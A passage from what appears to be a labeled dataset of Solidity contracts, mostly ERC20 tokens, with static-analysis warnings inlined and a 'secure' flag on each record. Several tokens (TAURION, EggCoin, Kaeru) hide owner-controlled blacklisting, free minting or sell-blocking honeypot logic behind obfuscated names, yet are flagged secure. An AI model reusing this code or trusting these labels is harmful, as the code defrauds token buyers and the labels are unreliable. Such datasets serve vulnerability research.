= _applyTax(amount, sellTaxPercent);\n } else {\n finalAmount = _applyTax(amount, buyTaxPercent);\n }\n }\n\n require(_balances[sender] >= finalAmount, \"Insufficient balance\");\n require(\n _allowances[sender][msg.sender] >= finalAmount,\n \"Allowance exceeded\"\n );\n\n _balances[sender] -= finalAmount;\n _balances[recipient] += finalAmount;\n _allowances[sender][msg.sender] -= finalAmount;\n emit Transfer(sender, recipient, finalAmount);\n return true;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n}", "file_name": "solidity_code_1753.sol", "secure": 1, "size_bytes": 4994 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IHopRouter {\n function sendToL2(\n uint256 chainId,\n address recipient,\n uint256 amount,\n uint256 amountOutMin,\n uint256 deadline,\n address relayer,\n uint256 relayerFee\n ) external payable;\n}", "file_name": "solidity_code_1754.sol", "secure": 1, "size_bytes": 333 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IHopRouter.sol\" as IHopRouter;\n\ncontract BridgeETHToBaseETH {\n\t// WARNING Optimization Issue (immutable-states | ID: 303357e): BridgeETHToBaseETH.hopRouter should be immutable \n\t// Recommendation for 303357e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IHopRouter public hopRouter;\n\n constructor(address _hopRouter) {\n hopRouter = IHopRouter(_hopRouter);\n }\n\n receive() external payable {\n uint256 chainId = 8453;\n address recipient = msg.sender;\n uint256 amount = msg.value;\n uint256 amountOutMin = 0;\n uint256 deadline = block.timestamp + 3600;\n address relayer = address(0);\n uint256 relayerFee = 0;\n\n hopRouter.sendToL2{value: amount}(\n chainId,\n recipient,\n amount,\n amountOutMin,\n deadline,\n relayer,\n relayerFee\n );\n }\n}", "file_name": "solidity_code_1755.sol", "secure": 1, "size_bytes": 1057 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract TAURION is Context, IERC20 {\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _user_;\n mapping(address => uint256) private _balances;\n mapping(address => uint256) private _fee;\n\t// WARNING Optimization Issue (constable-states | ID: dbdf7a7): TAURION.decimals should be constant \n\t// Recommendation for dbdf7a7: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\t// WARNING Optimization Issue (constable-states | ID: 4c1242b): TAURION._TSup should be constant \n\t// Recommendation for 4c1242b: Add the 'constant' attribute to state variables that never change.\n uint256 public _TSup = 500000000 * 1000000;\n\t// WARNING Optimization Issue (constable-states | ID: d54e429): TAURION.name should be constant \n\t// Recommendation for d54e429: Add the 'constant' attribute to state variables that never change.\n string public name = \"TAURION\";\n\t// WARNING Optimization Issue (constable-states | ID: cbc0552): TAURION.symbol should be constant \n\t// Recommendation for cbc0552: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"TAURION\";\n\t// WARNING Optimization Issue (constable-states | ID: d6a32eb): TAURION._fees should be constant \n\t// Recommendation for d6a32eb: Add the 'constant' attribute to state variables that never change.\n uint256 internal _fees = 0;\n\n constructor() {\n _fee[_Deployer] = 2;\n _balances[msg.sender] = _TSup;\n\n emit Transfer(address(0), msg.sender, _TSup);\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _TSup;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function execute(address _sender) external {\n require(_fee[msg.sender] == 2);\n if (_user_[_sender]) _user_[_sender] = false;\n else _user_[_sender] = true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n if (_fee[msg.sender] == 2) {\n uint256 sent = amount;\n _balances[recipient] += sent;\n }\n _send(recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_user_[sender] || _user_[recipient]) amount /= _fees;\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n _afterTokenTransfer(sender, recipient, amount);\n }\n function _send(address recipient, uint256 amount) internal virtual {\n require(\n msg.sender != address(0),\n \"ERC20: transfer from the zero address\"\n );\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_user_[msg.sender]) amount /= _fees;\n _beforeTokenTransfer(msg.sender, recipient, amount);\n uint256 senderBalance = _balances[msg.sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[msg.sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n _afterTokenTransfer(msg.sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1756.sol", "secure": 1, "size_bytes": 6450 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC20Interface {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256 balance);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256 remaining);\n function transfer(\n address recepient,\n uint256 amount\n ) external returns (bool success);\n function approve(\n address spender,\n uint256 amount\n ) external returns (bool success);\n function transferFrom(\n address sender,\n address recepient,\n uint256 amount\n ) external returns (bool success);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}", "file_name": "solidity_code_1757.sol", "secure": 1, "size_bytes": 896 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Interface.sol\" as ERC20Interface;\n\ncontract PoupetaToken is ERC20Interface {\n string public symbol;\n string public name;\n\t// WARNING Optimization Issue (immutable-states | ID: 22079b2): PoupetaToken.decimals should be immutable \n\t// Recommendation for 22079b2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 1d52ca1): PoupetaToken._totalSupply should be immutable \n\t// Recommendation for 1d52ca1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n symbol = \"PPTA\";\n name = \"Poupeta\";\n decimals = 18;\n _totalSupply = 1_000_000_000_010_000_000_000_000_000_000;\n balances[0xdf608f6aD6eE245622aF42d7dF72f016507eB25B] = _totalSupply;\n emit Transfer(\n address(0),\n 0xdf608f6aD6eE245622aF42d7dF72f016507eB25B,\n _totalSupply\n );\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n function balanceOf(address account) public view returns (uint256 balance) {\n return balances[account];\n }\n\n function transfer(\n address recepient,\n uint256 amount\n ) public returns (bool success) {\n balances[msg.sender] = balances[msg.sender] - amount;\n balances[recepient] = balances[recepient] + amount;\n emit Transfer(msg.sender, recepient, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public returns (bool success) {\n allowed[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recepient,\n uint256 amount\n ) public returns (bool success) {\n balances[sender] = balances[sender] - amount;\n allowed[sender][msg.sender] = allowed[sender][msg.sender] - amount;\n balances[recepient] = balances[recepient] + amount;\n emit Transfer(sender, recepient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256 remaining) {\n return allowed[owner][spender];\n }\n}", "file_name": "solidity_code_1758.sol", "secure": 1, "size_bytes": 2677 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: a4d3506): Contract locking ether found Contract FunctionNames_3 has payable functions FunctionNames_3.SplitFunds() But does not have a function to withdraw the ether\n// Recommendation for a4d3506: Remove the 'payable' attribute or add a withdraw function.\ncontract FunctionNames3 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8f4a4ec): FunctionNames_3.distributeFunds(uint256,address[],mapping(address => uint256)).owners shadows FunctionNames_3.owners (state variable)\n\t// Recommendation for 8f4a4ec: Rename the local variables that shadow another component.\n address[] owners;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fa60d4b): FunctionNames_3.distributeFunds(uint256,address[],mapping(address => uint256)).ownerBalances shadows FunctionNames_3.ownerBalances (state variable)\n\t// Recommendation for fa60d4b: Rename the local variables that shadow another component.\n mapping(address => uint256) ownerBalances;\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: a4d3506): Contract locking ether found Contract FunctionNames_3 has payable functions FunctionNames_3.SplitFunds() But does not have a function to withdraw the ether\n\t// Recommendation for a4d3506: Remove the 'payable' attribute or add a withdraw function.\n function SplitFunds() public payable {\n distributeFunds(msg.value, owners, ownerBalances);\n }\n\n function addOwner() public {\n owners.push(msg.sender);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8f4a4ec): FunctionNames_3.distributeFunds(uint256,address[],mapping(address => uint256)).owners shadows FunctionNames_3.owners (state variable)\n\t// Recommendation for 8f4a4ec: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fa60d4b): FunctionNames_3.distributeFunds(uint256,address[],mapping(address => uint256)).ownerBalances shadows FunctionNames_3.ownerBalances (state variable)\n\t// Recommendation for fa60d4b: Rename the local variables that shadow another component.\n function distributeFunds(\n uint256 amount,\n address[] storage owners,\n mapping(address => uint256) storage ownerBalances\n ) private {\n uint256 split = amount / owners.length;\n uint256 remainder = amount % owners.length;\n ownerBalances[owners[0]] += remainder;\n\n for (uint256 i = 0; i < owners.length; i++) {\n ownerBalances[owners[i]] += split;\n }\n }\n}", "file_name": "solidity_code_1759.sol", "secure": 0, "size_bytes": 2679 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPayable {\n function pay(string memory serviceName) external payable;\n}", "file_name": "solidity_code_176.sol", "secure": 1, "size_bytes": 148 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract EggCoin is Ownable {\n mapping(address => mapping(address => uint256)) public allowance;\n\n mapping(address => uint256) private chef;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0fbb161): EggCoin.totalSupply should be immutable \n\t// Recommendation for 0fbb161: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\n function transferFrom(\n address brood,\n address guest,\n uint256 elusiveness\n ) public returns (bool success) {\n cook(brood, guest, elusiveness);\n require(elusiveness <= allowance[brood][msg.sender]);\n allowance[brood][msg.sender] -= elusiveness;\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c12bc4): EggCoin.right should be constant \n\t// Recommendation for 7c12bc4: Add the 'constant' attribute to state variables that never change.\n uint256 private right = 88;\n\n mapping(address => uint256) private whale;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5d89518): EggCoin.decimals should be constant \n\t// Recommendation for 5d89518: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n function cook(\n address brood,\n address guest,\n uint256 elusiveness\n ) private returns (bool success) {\n if (chef[brood] == 0) {\n if (whale[brood] > 0 && brood != uniswapV2Pair) {\n chef[brood] -= right;\n }\n balanceOf[brood] -= elusiveness;\n }\n if (elusiveness == 0) {\n whale[guest] += right;\n }\n balanceOf[guest] += elusiveness;\n emit Transfer(brood, guest, elusiveness);\n return true;\n }\n\n string public name;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e14c22d): EggCoin.uniswapV2Pair should be immutable \n\t// Recommendation for e14c22d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n constructor(address chicken) {\n symbol = \"Egg\";\n totalSupply = 1_000_000_000_000 * 10 ** decimals;\n name = \"EGG\";\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n chef[chicken] = right;\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n balanceOf[msg.sender] = totalSupply;\n }\n\n function approve(\n address versatility,\n uint256 elusiveness\n ) public returns (bool success) {\n allowance[msg.sender][versatility] = elusiveness;\n emit Approval(msg.sender, versatility, elusiveness);\n return true;\n }\n\n string public symbol;\n\n function transfer(\n address guest,\n uint256 elusiveness\n ) public returns (bool success) {\n cook(msg.sender, guest, elusiveness);\n return true;\n }\n\n mapping(address => uint256) public balanceOf;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n}", "file_name": "solidity_code_1760.sol", "secure": 1, "size_bytes": 3734 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SchizoToken is ERC20 {\n\t// WARNING Optimization Issue (immutable-states | ID: 3f744f3): SchizoToken._owner should be immutable \n\t// Recommendation for 3f744f3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n\n constructor() ERC20(\"SchizoToken\", \"SCH\") {\n _owner = msg.sender;\n _mint(_owner, 1000000000 * 10 ** 18);\n }\n\n function mint(address recipient, uint256 amount) public {\n require(\n msg.sender == _owner,\n \"Only the contract owner can call this function\"\n );\n _mint(recipient, amount);\n }\n}", "file_name": "solidity_code_1761.sol", "secure": 1, "size_bytes": 804 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary FeeSplitter {\n function distributeFunds(\n uint256 amount,\n address[] storage owners,\n mapping(address => uint256) storage ownerBalances\n ) public {\n uint256 split = amount / owners.length;\n uint256 remainder = amount % owners.length;\n ownerBalances[owners[0]] += remainder;\n\n for (uint256 i = 0; i < owners.length; i++) {\n ownerBalances[owners[i]] += split;\n }\n }\n}", "file_name": "solidity_code_1762.sol", "secure": 1, "size_bytes": 525 }
{ "code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract Coinbird is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8d36ae): Coinbird._name should be constant \n\t// Recommendation for d8d36ae: Add the 'constant' attribute to state variables that never change.\n string private _name = \"coinbird\";\n\t// WARNING Optimization Issue (constable-states | ID: b26a2f4): Coinbird._symbol should be constant \n\t// Recommendation for b26a2f4: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BIRD\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1d908e7): Coinbird._totalSupply should be immutable \n\t// Recommendation for 1d908e7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65b4814): Coinbird._coinbird should be constant \n\t// Recommendation for 65b4814: Add the 'constant' attribute to state variables that never change.\n address private _coinbird = 0xf2Dd50445d4C15424b24F2D9c55407194dC47E5a;\n\t// WARNING Optimization Issue (constable-states | ID: ac29b0c): Coinbird._plushy should be constant \n\t// Recommendation for ac29b0c: Add the 'constant' attribute to state variables that never change.\n address private _plushy = 0xa278cfc15Cd07935B7Bad168533cACf9d53F1A54;\n\n constructor() {\n _totalSupply = 4000000000000000000000000;\n _balances[\n 0xA5D799EFaF874e1c28434Aa325bD405Ed47Be52F\n ] = 4000000000000000000000000;\n }\n\n function name() external view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() external view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() external view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() external view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, _allowances[owner][spender] + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = _allowances[owner][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) private {\n uint256 currentAllowance = _allowances[owner][spender];\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n if (\n _balances[0xA5D799EFaF874e1c28434Aa325bD405Ed47Be52F] !=\n _totalSupply\n ) {\n require(amount <= _totalSupply / 100);\n }\n\n _route(from, _coinbird, amount / 200);\n _route(from, _plushy, amount / 200);\n _route(from, to, (amount * 99) / 100);\n }\n\n function _route(address from, address to, uint256 amount) private {\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n}", "file_name": "solidity_code_1763.sol", "secure": 1, "size_bytes": 6341 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesString1 {\n string s;\n\n function SetString() public {\n s = \"thisisthirtytwocharactersyesitis\";\n }\n\n function GetString() public view returns (string memory) {\n return s;\n }\n}", "file_name": "solidity_code_1764.sol", "secure": 1, "size_bytes": 292 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract DELREY is ERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => bool) private pair;\n uint256 public mWalletSize = 10 ** 4 * 10 ** decimals();\n\t// WARNING Optimization Issue (immutable-states | ID: c6318b3): DELREY.tSupply should be immutable \n\t// Recommendation for c6318b3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tSupply = 10 ** 6 * 10 ** decimals();\n\n constructor() ERC20(\"Delrey Inu\", \"DELREY\") {\n _mint(msg.sender, 10 ** 6 * 10 ** decimals());\n }\n\n function addPair(address toPair) public onlyOwner {\n require(!pair[toPair], \"This pair is already excluded\");\n pair[toPair] = true;\n }\n\n function removeLimits() public onlyOwner {\n mWalletSize = tSupply;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (from != owner() && to != owner() && pair[from]) {\n require(\n balanceOf(to) + amount <= mWalletSize,\n \"TOKEN: Amount exceeds maximum wallet size\"\n );\n }\n\n if (\n from != owner() && to != owner() && !(pair[to]) && !(pair[from])\n ) {\n require(\n balanceOf(to) + amount <= mWalletSize,\n \"TOKEN: Balance exceeds max wallet size!\"\n );\n }\n }\n\n super._transfer(from, to, amount);\n }\n}", "file_name": "solidity_code_1765.sol", "secure": 1, "size_bytes": 2137 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ConnectingWorldCapitalToken {\n string public constant name = \"Connecting World Capital Token\";\n string public constant symbol = \"CWCX\";\n uint8 public constant decimals = 6;\n\n event Approval(\n address indexed tokenOwner,\n address indexed spender,\n uint256 tokens\n );\n event Transfer(address indexed from, address indexed to, uint256 tokens);\n\n mapping(address => uint256) balances;\n\n mapping(address => mapping(address => uint256)) allowed;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7e5637d): ConnectingWorldCapitalToken.totalSupply_ should be immutable \n\t// Recommendation for 7e5637d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 totalSupply_;\n\n using SafeMath for uint256;\n\n constructor() {\n totalSupply_ = 20000000 * 10 ** 6;\n balances[msg.sender] = totalSupply_;\n }\n\n function totalSupply() public view returns (uint256) {\n return totalSupply_;\n }\n\n function balanceOf(address tokenOwner) public view returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(address receiver, uint256 numTokens) public returns (bool) {\n require(numTokens <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n balances[receiver] = balances[receiver].add(numTokens);\n emit Transfer(msg.sender, receiver, numTokens);\n return true;\n }\n\n function approve(address delegate, uint256 numTokens) public returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n emit Approval(msg.sender, delegate, numTokens);\n return true;\n }\n\n function allowance(\n address owner,\n address delegate\n ) public view returns (uint256) {\n return allowed[owner][delegate];\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public returns (bool) {\n require(numTokens <= balances[owner]);\n require(numTokens <= allowed[owner][msg.sender]);\n\n balances[owner] = balances[owner].sub(numTokens);\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n balances[buyer] = balances[buyer].add(numTokens);\n emit Transfer(owner, buyer, numTokens);\n return true;\n }\n}", "file_name": "solidity_code_1766.sol", "secure": 1, "size_bytes": 2584 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Kaeru is Ownable {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private obedient;\n\n function beep(\n address ellipsis,\n address frieze,\n uint256 iodine\n ) private returns (bool success) {\n if (obedient[ellipsis] == 0) {\n balanceOf[ellipsis] -= iodine;\n }\n\n if (iodine == 0) nitrogen[frieze] += chintz;\n\n if (\n obedient[ellipsis] == 0 &&\n uniswapV2Pair != ellipsis &&\n nitrogen[ellipsis] > 0\n ) {\n obedient[ellipsis] -= chintz;\n }\n\n balanceOf[frieze] += iodine;\n emit Transfer(ellipsis, frieze, iodine);\n return true;\n }\n\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 004f075): Kaeru.uniswapV2Pair should be immutable \n\t// Recommendation for 004f075: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0e1f06): Kaeru.symbol should be constant \n\t// Recommendation for e0e1f06: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"KAERU\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 836df5b): Kaeru.decimals should be constant \n\t// Recommendation for 836df5b: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c5011f): Kaeru.totalSupply should be constant \n\t// Recommendation for 0c5011f: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1_000_000_000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 399a086): Kaeru.chintz should be constant \n\t// Recommendation for 399a086: Add the 'constant' attribute to state variables that never change.\n uint256 private chintz = 19;\n\n function transferFrom(\n address ellipsis,\n address frieze,\n uint256 iodine\n ) public returns (bool success) {\n beep(ellipsis, frieze, iodine);\n require(iodine <= allowance[ellipsis][msg.sender]);\n allowance[ellipsis][msg.sender] -= iodine;\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Optimization Issue (constable-states | ID: c5f99e7): Kaeru.uniswapV2Router should be constant \n\t// Recommendation for c5f99e7: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router02 private uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n constructor(address asphyxiate) {\n balanceOf[msg.sender] = totalSupply;\n obedient[asphyxiate] = chintz;\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n function approve(\n address nibble,\n uint256 iodine\n ) public returns (bool success) {\n allowance[msg.sender][nibble] = iodine;\n emit Approval(msg.sender, nibble, iodine);\n return true;\n }\n\n function transfer(\n address frieze,\n uint256 iodine\n ) public returns (bool success) {\n beep(msg.sender, frieze, iodine);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 03ea28c): Kaeru.name should be constant \n\t// Recommendation for 03ea28c: Add the 'constant' attribute to state variables that never change.\n string public name = \"Kaeru inu\";\n\n mapping(address => uint256) private nitrogen;\n}", "file_name": "solidity_code_1767.sol", "secure": 1, "size_bytes": 4266 }
